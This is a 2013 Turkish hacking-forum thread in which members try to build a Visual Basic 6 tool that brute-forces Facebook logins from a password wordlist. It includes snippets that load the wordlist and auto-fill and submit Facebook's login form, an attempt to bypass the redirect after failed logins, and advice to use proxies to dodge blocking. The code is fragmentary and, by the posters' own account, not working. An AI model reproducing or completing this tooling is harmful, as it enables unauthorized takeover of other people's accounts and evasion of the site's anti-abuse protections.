Hiç Yapılmamış - Mantıklı Program [İSTEK - ANLATIM]

Alcatraztc · 17 Haz 2013

Aklımdaki Program
----------------------------

- Bir txt dosyası oluşturacağım , belirli şifreler gireceğim.

ÖRN: 123456789

------

Facebook Kullanıcı Adı veya E-posta'yı yazıp , şifre listesini seçip şifreyi teker teker deneteceğim.

Doğru Olduğunda İse Mesaj Verecek.

-------

Program bilgim bunu yapmaya yetmiyor.

Yapabilen arkadaşlar source veya normal olarak paylaşırlarsa sevinirim.

CMLYKL · 19 Haz 2013

Alcatraztc' Alıntı:
Hata alıyorum.

Hata almaman lazım en alttaki yıldızlı yere l o c a t i o n yaz boşlukları silerek diğerleride d o c u m e n t s Boşlukları sil.

Alcatraztc · 19 Haz 2013

CMLYKL' Alıntı:
Hata almaman lazım en alttaki yıldızlı yere l o c a t i o n yaz boşlukları silerek diğerleride d o c u m e n t s Boşlukları sil.

Şuan sorun almıyorum açıyorum programı , ama tepki yok .

CMLYKL · 19 Haz 2013

Hmm tamam. Coder yok mu hiç açık program olursa süper olucak.

Alcatraztc · 19 Haz 2013

Aynen ya , ben bi kaç tanesine mesaj attım ama cevap alamadım.

blink1337dagger · 19 Haz 2013

facebook üzerinden bruce force yapamasın sadece belli sayıda şifre girmene müsade ediyo

Alcatraztc · 19 Haz 2013

prototyqe' Alıntı:
facebook üzerinden bruce force yapamasın sadece belli sayıda şifre girmene müsade ediyo

Berlirli sayıda şifre girdikten sonra başka sayfaya atıyor.

Attığı sayfayıda bulduk.

Program otomatik oraya giriş yapıp ordan deniyecek.

CMLYKL · 19 Haz 2013

Programın mantığı basit kodlşama basit aslında yok mu hiç program kodlayan kodlardan anlayan?

Alcatraztc · 19 Haz 2013

Güncel ++

CMLYKL · 19 Haz 2013

CTRL + t ye basarak microsoft common dialog u seç ve commondialogu forma ekle.
Bir tane buton ekle foruma ve bir tane de text box.
Ben formumda bir tane buton olduğu için kodda böle yazdım "Private Sub Command1_Click() sen kaçıncı butonsa ona göre sayıyı değiştir. Text box içinde aynı şey geçerli kaçın textbox ise ona göre sayıyı değiştir. Programı çalıştır. Aç a bastığında şifre.txt yolunu seç şifreler textbox a gelsin.

Kod:

Private Sub Command1_Click()
Dim okunan
Commondialog1.ShowOpen
Open Commondialog1.FileName For Input As #1
Do While Not EOF(1)
Line Input #1, okunan
If okunan <> "" Then
Text1.Text = okunan
End If
Loop
Close #1
End Sub

Fethistanbul · 19 Haz 2013

Programını anladım ama facebookta mümkün değil çünkü yanlış girilen 2-3 şifreden sonra , brute force kullanıp hesap hacklemeye çalışanlar için , resimdeki yazıyı yazmanızı istiyor.

CMLYKL · 19 Haz 2013

Ben hiç görmedim captcha kısmı. Eminmisin böle bişey olduğundan?

Alcatraztc · 19 Haz 2013

Oldu , buda tamam.

Alcatraztc · 19 Haz 2013

Fethistanbul' Alıntı:
Programını anladım ama facebookta mümkün değil çünkü yanlış girilen 2-3 şifreden sonra , brute force kullanıp hesap hacklemeye çalışanlar için , resimdeki yazıyı yazmanızı istiyor.

60 - 70 kere yanlış girdim dediğin hatayı almadım.

Sadece şifreyi sıfırla diyor sayfayı yenileyince devam edebiliyorum.

CMLYKL · 19 Haz 2013

Kod:

Option Explicit

 Private Sub Command1_Click()
 WebBrowser1.********.All.Item("email").Value = Text1.Text
 WebBrowser1.********.All.Item("pass").Value = Text2.Text
 WebBrowser1.********.All.Item("login").Click
 End Sub

 Private Sub Form_Load()
 If WebBrowser1.********URL = "https://www.facebook.com/login.php?login_attempt=1" Then
 WebBrowser1.Navigate "https://www.facebook.com/login.php"
 Else
 WebBrowser1.Navigate "https://www.facebook.com/login.php"
End If
WebBrowser1.Navigate "https://www.facebook.com/login.php"
 WebBrowser1.Silent = True
 End Sub

 Private Sub Form_Unload(Cancel As Integer)
 End
 End Sub

Birde böyle denesek anasayfa açıldı.

BeginHackTeam · 19 Haz 2013

Aslında öyle bir program yapabilirsin ama facebookta üst üste aynı hesapta şifre deneyince güvenlik sistemini ortaya çıkarır yani bu programın mantığı biraz olur

CMLYKL · 19 Haz 2013

İşte sayfayı yönlendiriyo biz yönlendirme yapınca tekrar anasayfaya yolluyacaz.

CMLYKL · 19 Haz 2013

Kod:

Option Explicit

 Private Sub Command1_Click()
 WebBrowser1.********.All.Item("email").Value = Text1.Text
 WebBrowser1.********.All.Item("pass").Value = Text2.Text
 WebBrowser1.********.All.Item("login").Click
 End Sub

 Private Sub Form_Load()
 WebBrowser1.Navigate "https://www.facebook.com"
 WebBrowser1.Silent = True
 If WebBrowser1.********URL = "https://www.facebook.com/login.php?login_attempt=1" Then
 WebBrowser1.Navigate "https://www.facebook.com"
 Else
 WebBrowser1.Navigate "https://www.facebook.com"
 End If
 End Sub

 Private Sub Form_Unload(Cancel As Integer)
 End
 End Sub

Private Sub WebBrowser1_StatusTextChange(ByVal Text As String)
On Error Resume Next
If WebBrowser1.locitionurl = "https://www.facebook.com/login.php?login_attempt=1" Then
WebBrowser1.GoBack
End If
End Sub

Yönlendirmeyi halletim. Ama bu seferde textboxdan kulalnıcı adı ve şifre ile giremiyorum. Webbrowserdan giriyorum ama.

KODLAR TEKRAR GÜNCELLENDİ. 20.12

CMLYKL · 19 Haz 2013

//Güncel Yukarıdaki Kodlar güncellendi 20.12

Alcatraztc · 19 Haz 2013

Güncel

_RoC_ · 20 Haz 2013

Normal bir brute force yöntemi ile yapabilirsin. Wordlist oluşturup şifreleri girdirtirsin fakat facebook bi zaman sonra engeller. O yüzden proxy desteği lazım. Ugrasmana degmez.

Hiç Yapılmamış - Mantıklı Program [İSTEK - ANLATIM]

Katılımcı Üye

Uzman üye

Katılımcı Üye

Uzman üye

Katılımcı Üye

Kadim Üye

Katılımcı Üye

Uzman üye

Katılımcı Üye

Uzman üye

Katılımcı Üye

Uzman üye

Katılımcı Üye

Katılımcı Üye

Uzman üye

Uzman üye

Uzman üye

Uzman üye

Uzman üye

Katılımcı Üye

Kıdemli Üye